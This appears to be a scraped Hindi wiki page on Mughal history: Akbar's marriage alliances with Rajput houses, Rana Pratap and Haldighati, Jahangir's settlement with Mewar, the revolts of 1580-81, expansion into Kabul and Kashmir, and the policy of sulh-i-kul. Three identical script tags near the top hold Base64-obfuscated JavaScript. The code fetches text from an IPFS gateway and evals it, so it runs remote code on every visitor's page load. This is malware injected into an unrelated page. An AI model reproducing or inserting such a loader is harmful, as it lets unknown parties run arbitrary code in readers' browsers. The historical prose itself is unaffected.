एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

मुग़ल काल 6  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

राजपूतों के साथ सम्बन्ध

राजपूतों के साथ अकबर के सम्बन्धों को देश के शक्तिशाली राजाओं और जागीरदारों के प्रति मुग़ल-नीति के वृहद पृष्ठभूमि में देखना होगा। जब हुमायूँ हिन्दूस्तान लौटा, तो उसने जानबूझ कर इन तत्वों को अपनी ओर मिलाने की नीति अपनायी। अबुल फ़जल कहता है कि "ज़मींदारों को शान्त करने के लिए उसने उनसे वैवाहिक सम्बन्ध स्थापित किए।" उदाहरण के लिए जब हिन्दुस्तान के "बड़े ज़मींदारों में से एक जमालख़ाँ मेवाती ने हुमायूँ को समर्पण किया तो हुमायूँ ने उसकी बेटी से स्वयं विवाह किया और छोटी बहन का विवाह बैरमख़ाँ से किया।" बाद में इस नीति को अकबर ने आगे बढ़ाया।

वैवाहिक संबंध

आमेर का शासक भारमल अकबर के राज्य निरीक्षण के एकदम बाद आगरा के दरबार में उपस्थित हुआ था। तरुण शासक पर उसका अच्छा प्रभाव पड़ा था। क्योंकि उस समय एक पागल हाथी के भय से लोग इधर-उधर भाग रहे थे। किन्तु भारमल के सैनिक दृढ़ता से वहाँ खड़े रहे। 1562 में जब अकबर अजमेर जा रहा था तो उसे पता लगा कि स्थानीय मुग़ल गवर्नर भारमल को परेशान कर रहा है। भारमल स्वयं अकबर से मिलने आया और अपनी छोटी बेटी बाई हर्का का अकबर विवाह कर अपनी स्वामीभक्ति को सिद्ध किया। (इसी को आजकल अकबर की पत्नी जोधा समझा जाता है जबकि 'जोधा' जहाँगीर की पत्नी का नाम था।)

मुस्लिम शासकों और हिन्दू अधिपतियों की कन्याओं के मध्य विवाह असाधारण बात नहीं थी। चौदहवीं और पंद्रहवीं शताब्दी में हुए इस प्रकार के अनेक विवाहों का उल्लेख पिछले अध्यायों में किया जा चुका है। जोधपुर के शक्तिशाली राजा मालदेव ने अपनी एक लड़की बाई कनका का विवाह गुजरात के सुल्तान महमूद के साथ किया था और दूसरी लड़की लालबाई का विवाह सूर-शासक सम्भवतः इस्लामशाह सूर के साथ किया था। इनमें से अधिकांश विवाह सम्बन्धित परिवारों के मध्य स्थायी व्यक्तिगत सम्बन्धों को स्थापित करने में सफल नहीं हुए। विवाह के पश्चात् लड़कियों को अक्सर भुला दिया जाता था और वे वापस नहीं आती थीं। अकबर ने दूसरी नीति अपनायी। उसने अपनी हिन्दू पत्नियों को पूरी धार्मिक स्वतंत्रता दी और उनके पिताओं और सम्बन्धियों को सरदारों में सम्माननीय पद प्रदान किए। भारमल को काफ़ी ऊँचा पद प्राप्त हुआ। उसका पुत्र भगवानदास पांचहज़ारी मनसब तक पहुँचा और उसका पोता मानसिंह सात हज़ारी तक। अकबर ने यह पद के केवल एक और व्यक्ति को प्रदान किया था और वह था अकबर का धाय-भाई अज़ीजख़ाँ कूका। अकबर ने कछवाहा शासकों के साथ अपने विशेष सम्बन्धों पर अन्य कारणों से भी बल दिया। राजकुमार धनपाल जब बच्चा था तो उसे भारमल की पत्नियों के पास पलने के लिए भेज दिया गया था। 1572 में जब अकबर ने गुजरात पर चढ़ाई की तो आगरा भारमल के सुपुर्द छोड़ा गया, जहाँ शाही परिवार की सब स्त्रियाँ थी। यह ऐसा सम्मान था जो या तो शासक के सम्बन्धी या अत्यन्त विश्वसनीय सरदार को ही दिया जाता था।

परन्तु अकबर ने वैवाहिक सम्बन्धों को शर्त के तौर पर नहीं रखा। रणथम्भौर के हाड़ाओं के साथ अकबर के वैवाहिक सम्बन्ध नहीं थे, फिर भी वे अकबर के कृपा-पात्र थे। राव सुजैन हाड़ा को गढ़-कटंगा का शासन सौंपा गया था और उसका मनसब 2,000 सवारों का था। इसी प्रकार सिरोही और बाँसवाड़ा के शासकों के साथ भी जिन्होंने बाद में समर्पण किया था।

मेवाड़ का इंकार

अकबर की राजपूतों के प्रति नीति उसकी विशाल सहनशीलता की नीति से जुड़ गई। 1564 में उसने जज़िया हटा दिया जिसका प्रयोग कभी-कभी उल्मा ग़ैर मुसलमानों को नीचा दिखाने के लिए किया करते थे। उसके पहले अकबर ने तीर्थ यात्रा-कर भी समाप्त करा दिया और युद्ध बन्दियों के ज़बरदस्ती धर्म परिवर्तन की प्रथा को भी ख़त्म कर दिया। चित्तौड़ विजय के पश्चात् अधिकांश बड़े राजपूत शासकों ने अकबर के प्रभुत्व को स्वीकार कर लिया था और उसे वे व्यक्तिगत रूप से सम्मान देते थे। जैसलमेर और बीकानेर के शासकों ने भी अकबर के साथ वैवाहिक संबंध स्थापित किए। केवल मेवाड़ ही ऐसी रियासत थी जिसने मुग़ल प्रभुत्व को मानने से लगातार इंकार किया।

यद्यपि चित्तौड़ और उसके आस-पास का इलाका मुग़ल साम्राज्य के अंतर्गत आ गया था तथापि उदयपुर और पहाड़ी इलाक़े जो मेवाड़ का अधिकांश प्रदेश निर्मित करते थे राणा के शासन में रहे। 1572 में राणा प्रताप राणा उदयसिंह की गद्दी पर बैठा। अकबर ने राणा प्रताप को मुग़ल प्रभुत्व स्वीकार कर लेने और दरबार में हाज़िर होने के लिए उसके पास अनेक दूत भेजे। एक बार राणा मानसिंह भी अकबर के दूत बनकर राणा प्रताप के पास गया। राणा ने उनका हार्दिक स्वागत किया। यह कथा कि राणा प्रताप ने राणा मानसिंह का अपमान किया था, ऐतिहासिक तथ्य नहीं है और यह राणा की चारित्रिक विशेषताओं से मेल भी नहीं खाती। क्योंकि राणा प्रताप साहसिक था और अपने विरोधियों से भी शालीनता से पेश आता था। मानसिंह के पश्चात् भगवान दास और फिर टोडरमल राणा के पास गए। ऐसा प्रतीत होता है कि राणा प्रताप ने एक बार समझौते का निर्णय कर लिया था। उसने अकबर द्वारा भेजी गई पोशाक धारण की और अपने पुत्र राणा अमरसिंह को भगवानदास के साथ अकबर के दरबार में भेंट देने और सेवाएँ अर्पित करने के लिए भेजा। परन्तु उनमें कोई अंतिम समझौता नहीं हो सका। क्योंकि स्वाभिमानी राणा प्रताप अकबर की इस माँग को मानने के लिए तैयार नहीं था कि वह स्वयं भेंट के लिए उपस्थित हो। ऐसा भी प्रतीत होता है कि मुग़ल चित्तौड़ को अपने अधिकार में रखना चाहते थे और यह राणा प्रताप को यह मंज़ूर नहीं था।

हल्दी घाटी

1576 के प्रारम्भ में अकबर अजमेर की ओर गया और पाँच हज़ार सिपाहियों की सेना के साथ मानसिंह को राणा के विरुद्ध अभियान के लिए भेजा। अकबर की इस योजना का पूर्वाभास करते हुए राणा ने चित्तौड़ तक के प्रदेश को नष्ट भ्रष्ट करवा दिया था कि मुग़ल सेनाओं को भोजन और चारा न मिल सके। उसने पहाड़ी दर्रों में नाकेबंदी भी कर ली थी। कुम्भलगढ़ के रास्ते में पड़ने वाली एक पतली भूपट्टी हल्दीघाटी में दोनों पक्षों के बीच भयंकर लड़ाई हुई। कुम्भालगढ़ उस समय राणा की राजधानी था। चुनी हुई राजपूत सेनाओं के साथ हाकिम ख़ाँ सूर के नेतृत्व में एक अफ़ग़ान फ़ौजी टुकड़ी राणा प्रताप के साथ थी। अतः हल्दी घाट की लड़ाई हिन्दू और मुसलमानों के बीच अथवा भारतीयों और विदेशियों के बीच का संघर्ष नहीं था। भीलों की एक छोटी-सी सेना भी राणा के साथ थी। भील राणा के मित्र थे। अनुमान किया जाता है कि सेना में 3,000 सैनिक थे।

राजपूतों और अफ़ग़ानों के आक्रमणों ने मुग़ल सेना को तितर-बितर कर दिया। परन्तु अकबर के स्वयं वहाँ पहुँचने की अफवाहों को सुनकर मुग़ल सेना फिर एकत्र हो गई। नयी मुग़ल कुमुक के आने से राजपूतों का पलड़ा हल्का पड़ने लगा। यह देखकर राणा वहाँ से बचकर निकल गया। मुग़ल सेना इतनी थक चुकी थी कि उसने राणा का पीछा नहीं किया। परन्तु कुछ समय पश्चात् वह दर्रे से आगे बड़ी और गोगुण्डा पर अधिकार कर लिया। गोगुण्डा सैनिक दृष्टि से महत्त्वपूर्ण स्थान था। जिसे राणा ने मुग़ल सेना के आने से पहले ही ख़ाली कर दिया था।

यह आख़िरी अवसर था जबकि राणा और मुग़लों के बीच संघर्ष हुआ । इसके बाद राणा प्रताप ने छापामार युद्ध की नीति अपनाई। हल्दी घाटी की लड़ाई में पराजय से स्वतंत्रता के लिए संघर्ष करने की राणा प्रताप की प्रतिज्ञा में कमी नहीं आई परन्तु वह जिस उद्देश्य के लड़ रहा था, वह पहले ही समाप्त हो चुका था। क्योंकि अधिकांश राजपूत रियासतों ने मुग़ल प्रभुत्ता स्वीकार कर ली थी। राजपूत राजाओं को साम्राज्य की सेना में लेने और उनके साथ मुग़ल सरदारों के समकक्ष व्यवहार करने, प्रजा के प्रति विशाल धार्मिक सहिष्णुता तथा अपने भूतपूर्व विरोधियों के साथ शालीनता का व्यवहार करने की नीति से अकबर ने राजपूत शासकों के साथ अपने सम्बन्धों को मज़बूत किया था। इसीलिए मुग़लों के समक्ष झुकने से राणा के इंकार का प्रभाव अन्य राजपूत रियासतों पर बहुत कम हुआ। जिन्होंने इस बात का आभास पा लिया था कि वर्तमान परिस्थितियाँ छोटी-छोटी रियासतों के लिए सम्पूर्ण स्वतंत्रता बनाये रखने का प्रयत्न अधिक समय तक सफल नहीं हो सकता। इसके अतिरिक्त अकबर ने राजपूत राणाओं को पर्याप्त सीमा तक आंतरिक स्वायत्तता प्रदान की। इस प्रकार अकबर के साम्राज्य स्थापित करने में राजपूत राजाओं को अपने स्वार्थों की हानि होने की कोई संभावना नहीं थी।

राणा प्रताप द्वारा अन्य राजपूत रियासतों की सहायता के बिना अकेले ही शक्तिशाली मुग़ल साम्राज्य का विरोध, राजपूती वीरता और सिद्धान्तों के लिए बलिदान देने की गौरव गाथा है। राणा प्रताप ने छापामार युद्ध की पद्धति के साथ भी सफल प्रयोग किया। कालान्तर में दक्षिणी सेनापति मलिक अम्बर और शिवाजी ने छापामार युद्ध पद्धति को विकसित किया।

कुछ समय तक अकबर राणा प्रताप पर दबाव डालता रहा। मुग़लों ने मेवाड़ की मित्र और आश्रित रियासतों डूँगरपुर, बाँसवाड़ा, सिरोही, इत्यादि को रौंद डाला। अकबर ने इन रियासतों के साथ पृथक् संधियाँ कीं और इस प्रकार मेवाड़ को और भी अकेला कर दिया। राणा जंगल-जंगल और घाटी-घाटी घूमता रहा। कुम्भलगढ़ और उदयपुर दोनों पर मुग़लों का अधिकार हो गया। राणा को बहुत कठिनाइयाँ झेलनी पड़ीं, परन्तु भीलों की सहायता के कारण वह निरन्तर विरोध करता रहा। 1579 में बिहार और बंगाल में अकबर द्वारा किए गए कुछ सुधारों की प्रतिक्रिया के फलस्वरूप जबरदस्त विद्रोह हो पाने के कारण राणा पर मुग़ल दबाव कम कर दिया गया। अव्यवस्था के इस दौर में अकबर के सौतेले भाई मिर्जा हकीम ने अवसर का लाभ उठाने के लिए पंजाब पर आक्रमण कर दिया। इस प्रकार अकबर को गंभीर आंतरिक खतरे का सामना करना पड़ा। 1585 में उत्तर पश्चिम की गंभीर हो रही स्थिति का अध्ययन करने के लिए अकबर लाहौर गया। वह बारह वर्ष तक वहाँ रहा। 1585 के बाद राणा प्रताप के विरुद्ध कोई अभियान नहीं छेड़ा गया।

इस स्थिति का फ़ायदा उठाकर राणा प्रताप ने कुम्भलगढ़ और चित्तौड़ के आस-पास के अनेक इलाकों सहित बहुत-सा भाग पुनः जीत लिया परन्तु वह चित्तौड़ को पुनः प्राप्त नहीं कर सका। इस दौरान उसने आधुनिक डूँगरपुर के निकट चावँड़ में नई राजधानी स्थापित की। 1597 में 51 वर्ष की आयु में एक सख्त धनुष की प्रत्यंचा चढ़ाते समय अन्दरूनी चोट लग जाने के कारण उसकी मृत्यु हो गई।

मेवाड़ के अतिरिक्त मारवाड़ के विरोध का सामना भी अकबर को करना पड़ा। मालदेव की मृत्यु (1562) के पश्चात् उसके पुत्रों में उत्तराधिकार के लिए विवाद हुआ। मालदेव की सर्वप्रिय रानी से उत्पन्न सबसे छोटा पुत्र चन्द्रसेन गद्दी पर बैठा। मुग़लों के दबाव के कारण उसे रियासत का कुछ भाग अपने बड़े भाइयों को जागीर के रूप में देना पड़ा। किन्तु चन्द्रसेन को यह व्यवस्था पसन्द नहीं आई और कुछ समय पश्चात् ही उसने विद्रोह कर दिया। अब अकबर ने मारवाड़ को सीधे मुग़ल प्रशासन में ले लिया। इसका एक कारण यह था कि अकबर गुजरात के लिए जोधपुर से होकर जाने वाले रसद-मार्ग को सुरक्षित रखना चाहता था। विजय के पश्चात् अकबर ने जोधपुर में रायसिंह बीकानेरी को नियुक्त कर दिया। चन्द्रसेन ने वीरता पूर्वक मुक़ाबला किया और गुरिल्ला युद्ध छेड़ दिया। लेकिन जल्दी ही उसे मेवाड़ में शरण लेनी पड़ी। वहाँ भी मुग़लों ने उसका पीछा नहीं छोड़ा और वह इधर-उधर छिपता रहा। 1581 में उसकी मृत्यु हो गई। दो वर्ष पश्चात् अकबर ने चन्द्रसेन के बड़े भाई उदयसिंह को जोधपुर भेज दिया। अपनी स्थिति मज़बूत करने के लिए उदयसिंह ने अपनी लड़की जगत् गोसाईं या जोधाबाई (जिस नाम से उसे जाना जाता है) का विवाह अकबर के बड़े लड़के सलीम के साथ कर दिया। जगत् गोसाईं का डोला नहीं भेजा गया था, बल्कि वर राजा के घर बारात लेकर गया था और विवाह में अनेक हिन्दू रीतियाँ की गईं। यह कार्य अकबर के लाहौर-प्रवास के समय हुआ था।

बीकानेर और बूँदी के शासकों के साथ भी अकबर के नज़दीकी व्यक्तिगत सम्बन्ध थे। इन शासकों ने अनेक अभियानों में वीरतापूर्वक भाग लिया था। 1593 में जब बीक़ानेर के रायसिंह का दामाद पालकी से गिरने के कारण मर गया तो अकबर स्वयं मातमपुर्सी के लिए उसके घर गया और उसकी लड़की को सती होने से रोका क्योंकि उसके बच्चे बहुत छोटे थे।

अकबर की राजपूत नीति मुग़ल शासन और राजपूत दोनों के लिए लाभदायक सिद्ध हुई। इस मित्रता ने मुग़ल साम्राज्य की सेवा के लिए भारत के श्रेष्ठतम वीरों की सेवायें उपलब्ध करायीं। साम्राज्य को मज़बूत करने और उसका विस्तार करने में राजपूतों की दृढ़ स्वामी भक्ति एक महत्त्वपूर्ण कारक सिद्ध हुई। इस मित्रता से राजस्थान में शान्ति बनी रही जिससे राजपूत अपनी रियासतों की सुरक्षा के प्रति निश्चिंत होकर दूर के इलाकों में साम्राज्य की सेवा में लीन रह सकते थे। शाही सेवाओं में सम्मिलित रहने के कारण साम्राज्य के महत्त्वपूर्ण पद राजपूत राजाओं के लिए खुले थे। उदाहरणतयः आमेर के भगवानदास को लाहौर का संयुक्त गवर्नर बनाया गया जबकि उसका पुत्र मानसिंह क़ाबुल में नियुक्त हुआ। कालान्तर में मानसिंह बिहार और बंगाल का गवर्नर बना। अन्य राजपूत राजाओं को आगरा, अजमेर और गुजरात जैसे सैनिक दृष्टि से महत्त्वपूर्ण स्थानों का सर्वोच्च अधिकारी नियुक्त किया गया। आम्राज्य के सरदार होने के नाते उन्हें वंशगत राज्यों के साथ-साथ जीगीरें भी प्रदान की गयीं जिससे उनकी आय के स्रातों में वृद्धि हुई।

अकबर की राजपूत नीति का अनुसरण उसके उत्तराधिकारियों जहाँगीर और शाहजहाँ ने भी किया। जहाँगीर एक राजपूत राजकुमारी का पुत्र था और उसने स्वयं भी एक कछवाहा राजकुमारी और एक जोधपुर की राजकुमारी से विवाह किया। जैसलमेर और बीकानेर की राजकुमारियों के साथ भी उसका विवाह हुआ। जहाँगीर ने इन रियासतों के शासकों को उच्चतम सम्मान दिया।

जहाँगीर की मुख्य उपलब्धि लम्बे समय से चले आ रहे मेवाड़ के झगड़े को समाप्त करना थी। अमरसिंह राणा प्रताप की गद्दी पर बैठ चुका था। अकबर ने अमरसिंह से अपनी शर्तें मनवाने के लिए उसके विरुद्ध अभियान भेजे थे। जहाँगीर को भी दो बार उस पर आक्रमण करने भेजा गया था किन्तु उसे बहुत कम सफलता मिली थी। 1605 में गद्दी पर बैठने के पश्चात् जहाँगीर ने इस विषय में उत्साहपूर्वक कार्य किया। लगातार तीन आक्रमण किये गये किन्तु राणा के साहस को तोड़ा नहीं जा सका। 1613 में जहाँगीर स्वयं अभियान का नेतृत्व करने के लिए अजमेर पहुँचा। राजकुमार ख़ुर्रम (बाद में शाहजहाँ) को एक बड़ी सेना देकर मेवाड़ के पहाड़ी इलाकों पर आक्रमण करने के लिए भेजा गया। मुग़ल सेना के भारी दबाव, इलाके की वीरानी और खेती के विनाश ने अन्ततः अपना प्रभाव डाला। बहुत से सरदार मुग़लों के पक्ष में हो गए और अनेक दूसरे सरदारों ने समझौते के लिए राणा पर दबाव डाला। राणा के पुत्र करणसिंह, जिसे जहाँगीर के दरबार में भेजा गया था, का शानदार स्वागत हुआ। जहाँगीर ने अपनी गद्दी से उठकर उसे अपनी बाँहों में भर लिया और उसे अनेक उपहार दिए। राणा के मान को रखने के लिए जहाँगीर ने उसके स्वयं उपस्थित होने पर बल नहीं दिया और न ही उसे शाही सेवा में आने को बाध्य किया गया। युवराज करण को पाँचहज़ारी का पद दिया गया। यह पद पहले जोधपुर, बीकानेर और आमेर के राजाओं को दिया गया था। करण सिंह को 1500 सवारों की टुकड़ी के साथ मुग़ल सम्राट की सेवा में रहने को कहा गया। चित्तौड़ सहित मेवाड़ का सारा प्रदेश राणा को लौटा दिया गया। परन्तु चित्तौड़ के सैनिक महत्त्व को देखते हुए यह समझौता हुआ कि उसकी मरम्मत नहीं करायी जाएगी। इस प्रकार अकबर द्वारा प्रारम्भ कार्य जहाँगीर ने पूरा किया और राजपूतों के साथ मित्रता को और मज़बूत किया।

विद्रोह तथा मुग़ल साम्राज्य का और अधिक विस्तार

अकबर द्वारा प्रशासन व्यवस्था में नयी प्रणाली लागू करने का अर्थ था प्रशासन मशीनरी में सुधार लाना, सरदारों पर अधिक नियंत्रण और सामान्य जनता के अधिक हितों की रक्षा था। इसलिए ये बहुत से सरदारों को पसन्द नहीं आई। क्षेत्रीय स्वतंत्रता की भावनाएँ अभी भी बहुत से लोगों में विद्यमान थी। गुजरात, बंगाल और बिहार जैसे स्थानों पर यह और भी अधिक थी, जहाँ स्वतंत्र राज्यों की स्थापना की लम्बी परम्परा थी। राजस्थान में राणा प्रताप का स्वाधीनता के संघर्ष जारी था। इन परिस्थितियों में अकबर को विद्रोहों की एक श्रृंखला का सामना करना पड़ा। पुराने राजवंश के उत्तराधिकारियों द्वारा राज्य को पुनः हस्तगत करने के प्रयत्नों के कारण गुजरात में दो वर्ष तक अशान्ति रही। सबसे गंभीर विद्रोह बंगाल और बिहार में हुआ, जो जौनपुर तक फैल गया। इसका प्रमुख कारण जागीरदारों के घोड़ों को दाग़ने की प्रणाली थी और उनके आमदनी का कड़ाई से हिसाब रखना था। इस नाराज़गी को धार्मिक पण्डों ने और भी बढ़ा दिया। क्योंकि वे अकबर के उदार विचारों से तथा उस ज़मीन को वापस लेने की नीति से परेशान थे, जो उन्होंने क़भी ग़ैर-क़ानूनी तरीक़ों से हथिया ली थी, और वे उस पर कर इत्यादि नहीं देते थे। अकबर के सौतेले भाई मिर्ज़ा हक़ीम ने भी इस विद्रोह को इस उम्मीद में भड़काया कि वह उचित अवसर पर पंजाब पर आक्रमण कर सकेगा। मिर्ज़ा हक़ीम उस समय क़ाबुल का शासक था। पूर्वी प्रदेशों के अफ़ग़ान भी विद्रोह में शामिल होने के लिए हमेशा से तैयार थे क्योंकि वे पठान शक्ति की पराजय से दुखी थे।

इन विद्रोहों ने साम्राज्य का दो वर्षों (1580-81) तक उलझाये रखा, और अकबर को बहुत कठिन और नाज़ुक परिस्थितियों का सामना करना पड़ा। स्थानीय अधिकारियों द्वारा स्थिति को ग़लत ढंग से सम्भालने के कारण बंगाल और लगभग सारा बिहार विद्रोहियों के हाथों में चला गया, जिन्होंने मिर्ज़ा हक़ीम को अपना शासक घोषित कर दिया। उन्होंने किसी उल्मा से एक फ़तवा भी ले लिया जिसमें ख़ुदा के बन्दों से अकबर के ख़िलाफ़ लड़ने के लिए कहा गया था।

अकबर इससे घबराया नहीं। उसने टोडरमल के अधीन एक फ़ौज बिहार और बंगाल भेज दी और दूसरी राजा मानसिंह अधीन मिर्ज़ा हक़ीम के सम्भावित आक्रमण को रोकने के लिए पश्चिम की ओर रवाना कर दी। टोडरमल साहस और चतुराई से आगे बढ़ा और मिर्ज़ा हक़ीम के आक्रमण से पहले ही उसने स्थिति पर क़ाबू पा लिया। मिर्ज़ा हक़ीम 15,000 घुड़सवार लेकर लाहौर की तरफ़ बढ़ा किन्तु राजा मानसिंह और भगवानदास द्वारा की गई कड़ी सुरक्षा के कारण वह नगर पर अधिकार नहीं कर सका। मिर्ज़ा हकीम की इस उम्मीद पर भी पानी फिर गया कि पंजाब के बहुत से सरदार उसके साथ विद्रोह में शामिल हो जायेगे। इसी बीच 50,000 अनुशासित घुड़सवारों की सेना लेकर अकबर लाहौर पहुँच गया, जिससे मिर्ज़ा हक़ीम के सामने जल्दी से लौटने के अतिरिक्त और कोई रास्ता नहीं बचा।

अकबर ने इस सफलता को यहीं तक सीमित नहीं रखा। वह क़ाबुल की ओर बढ़ा (1581)। यह पहला अवसर था जबकि किसी भारतीय शासक ने इस ऐतिहासिक नगर में क़दम रखा। क्योंकि मिर्ज़ा हम ने अकबर की प्रभुत्ता स्वीकार करने या उसके सामने उपस्थित होकर स्वामिभक्ति प्रदर्शित करने से इंकार कर दिया और भारतीय सरदार और सैनिक लौटने के लिए उताबले हो रहे थे। अकबर ने क़ाबुल का शासन अपनी बहन को सौंप दिया और भारत लौट आया। एक महिला के हाथ में शासनभार सौंपना अकबर की उदारता और खुले दिल से सोचने का प्रतीक है। विरोधियों पर विजय अकबर की व्यक्तिगत विजय ही नहीं थी, बल्कि इससे यह भी प्रदर्शित होता है कि एक नई प्रणाली ने अपनी जड़ें ज़माना शुरू कर दिया है। अकबर अब साम्राज्य के और विस्तार के लिए सोच सकता था। वह दक्षिण की ओर बढ़ा जिसमें उसकी रुचि काफ़ी समय से थी। लेकिन इससे पहले की वह कुछ कर पाता उत्तर-पश्चिम की ओर उसका ध्यान फिर बंट गया। मुग़लों का परम्परागत शत्रु अब्दुल्ला ख़ाँ उज़बेक मध्य एशिया में शक्ति एकत्र कर रहा था। 1584 में उसने बदख्शां पर आक्रमण कर दिया जिस पर तैमूरों का शासन था। लगता था कि उसके बाद क़ाबुल की बारी है। मिर्ज़ा हकीम और बदख्शां से खदेड़े गए तैमूर राजकुमारों ने अकबर से सहायता की प्रार्थना की लेकिन इससे पहले की वह कुछ कर सके मिर्ज़ा हकीम अधिक शराब पीने के कारण क़ाबुल को अव्यवस्थित छोड़कर मर गया।

अब अकबर ने मानसिंह को क़ाबुल पर आक्रमण करने का आदेश दिया और स्वयं वह सिन्धु नदी की ओर बढ़ा। उज़बेकों के सभी रास्ते बंद करने के ख़याल से उसने काश्मीर (1586) में और बलूचिस्तान की ओर भी सेना भेजी। लद्दाख और बाल्तिस्तान (जिसे तिब्बत ख़ुर्द और तिब्बत बुज़ुर्ग कहा जाता है) सहित सारा काश्मीर मुग़लों के हवाले हो गया। बाल्तिस्तान के शासक की लड़की का विवाह भी सलीम के साथ हो गया। ख़ैबर दर्रा को मुक्त कराने के लिए भी आक्रमण किया गया जिस पर विद्रोही क़बीलियों ने अधिकार कर रखा था। इनके विरुद्ध एक आक्रमण में अकबर का प्रिय राजा बीरबल मारा गया। परन्तु धीरे-धीरे अफ़ग़ान विद्रोही समर्पण करने को विवश हो गए।

अकबर के दो प्रमुख योगदान उत्तर-पश्चिम को सुदृढ़ करना और साम्राज्यकी तर्कपूर्ण सीमा रेखा का निर्माण थे। उड़ीसा पर उस समय अफ़ग़ान सरदारों का राज्य था। उसे बंगाल के तत्कालीन गवर्नर राजा मानसिंह ने जीता। मानसिंह ने कूचबिहार और ढाका सहित पूर्वी बंगाल के बहुत से हिस्से जीते। अकबर के धाय पुत्र मिर्ज़ा अज़ीज कोका ने पश्चिम में काठियावाड़ को विजित किया। खान-ए-खानां मुनीमख़ाँ को राजकुमार मुराद के साथ दक्षिण की ओर भेजा गया। दक्षिण की घटनाओं का वर्णन एक अलग अध्याय में किया जाएगा। यहाँ इतना कहना पर्याप्त है कि अन्त तक मुग़ल साम्राज्य अहमदनगर तक फैल गया था जिससे मुग़लों का मराठों से पहली बार सीधा सम्पर्क हुआ। इस प्रकार शताब्दी के अन्त तक उत्तर भारत को राजनीतिक एकता के सूत्र में पिरोया जा चुका था और मुग़लों ने दक्षिण में अपना अभियान शुरू कर दिया था। लेकिन इससे भी अधिक महत्त्वपूर्ण बात इस विशाल साम्राज्य में पनपी और वह थी सांस्कृतिक और भावत्मक एकता।

एकता की ओर

पन्द्रहवीं शताब्दी में देश के विभन्न भागों में अनेक शासकों ने गैर-साम्प्रदायिक और धार्मिक संस्कृत साहित्य का फ़ारसी में अनुवाद करा के, स्थानीय भाषाओं के साहित्य को संरक्षण देकर, धार्मिक सहिष्णुता की अधिक उदार नीति अपना कर और दरबार तथा सेना में हिन्दुओं को महत्त्वपूर्ण पद देकर हिन्दुओं और मुसलमानों में पारस्परिक समझ पैदा करने की कोशिश की। हम यह भी देख चुके हैं कि किस प्रकार चैतन्य, कबीर और नानक जैसे सन्तों ने देश के विभिन्न भागों में इस्लाम और हिन्दू धर्म के बीच अनिवार्य एकता पर बल दिया और धार्मिक पुस्तकों के शाब्दिक अर्थों की बजाय प्रेम तथा भक्ति पर आधारित धर्म पर बल दिया। इस प्रकार उन्होंने ऐसा वातावरण तैयार किया जिसमें उदार भावनाएँ और विचार पनप सकते तथा जिसमें धार्मिक अनुदारता को अच्छा नहीं समझा जाता था। इसी वातावरण में अकबर का जन्म और पालन-पोषण हुआ।

गद्दी पर बैठने के बाद अकबर का पहला काम जज़िया को समाप्त करना था। इस्लामी राज्यों में गैर मुसलमानों को जज़िया देना पड़ता था। हालाँकि यह कर भारी नहीं था फिर भी इस नापसंद किया जाता था। क्योंकि इससे प्रजा में भेद किया जाता था। इसके साथ ही अकबर ने प्रयाग और बनारस जैसे तीर्थ स्थानों पर स्नान करने का कर भी समाप्त कर दिया। उसने युद्ध बन्दियों के ज़बरदस्ती धर्म परिवर्तन की प्रथा को समाप्त कर दिया। इन कार्यों ने ऐसे साम्राज्य की आधारशिला रखी जो बिना किसी धार्मिक भेद-भाव के सभी नागरिकों के समान अधिकारों पर आधारित था।
अनेक हिन्दुओं को सामन्त बना लेने से साम्राज्य के उदार सिद्धान्त और भी दृढ़ हो गए। इनमें से अधिकांश राजपूत राजा थे जिनमें से बहुत से अकबर के साथ वैवाहिक संम्बन्धों से बंध गये और अकबर ने जिनके साथ व्यक्तिगत सम्बन्ध स्थापित किये। और भी बहुत से लोगों को उनकी योग्यता के अनुसार मनसब दिये गये। इस दूसरे वर्ग में योग्यतम और प्रसिद्धतम व्यक्ति टोडरमल और बीरबल थे। टोडरमल राजस्व के मामलों का विशेषज्ञ था जिसने उन्नति करके दीवान का पद प्राप्त किया था। बीरबल अकबर का विशेष कृपापात्र था।

अपनी हिन्दू प्रजा के प्रति अकबर का दृष्टिकोण इस विचार से जुड़ा हुआ था कि अपनी प्रजा के प्रति शासक का क्या व्यवहार होना चाहिए। यह दृष्टिकोण प्रभुत्ता सम्बन्धी तैमूरी, इरानी और भारतीय विचारों का एकीकरण था। अकबर के जीवनीकार अबुलफ़जल ने इनकी बहुत साफ़ तरीक़े से विवेचना की है। उसके अनुसार एक सच्चे शासक का पद बहुत महत्त्वपूर्ण है। यह एक ऐसा पद है जो देवी कर्तव्य (फ़र्जे-ए-इलाही) पर निर्भर है। अतः ईश्वर और एक सच्चे शासक के बीच और कोई नहीं है। एक सच्चे शासक की पहचान प्रजा के प्रति बिना किसी वर्ग और जाति के भेदभाव के उसके पित्रवत् व्यवहार, छोटे और बड़े की इच्छाओं की पूर्ति करने के लिए विशाल हृदय, तथा ईश्वर जिसे वास्तविक राजा माना गया है, की प्रार्थना और भक्ति तथा उसमें रोज़-ब-रोज़ बढ़ते विश्वास से होती है। शासक का यह कर्तव्य भी है कि वह एक पद अथवा व्यवसाय के लोगों के दूसरे वर्ग और व्यवसाय के लोगों के कार्यों में हस्तक्षेप को रोक कर समाज में संतुलन बनाये रखे। इन सबको मिलाकर ही सुलह-कुल अथवा सबके लिए शांति की नीति बनी।

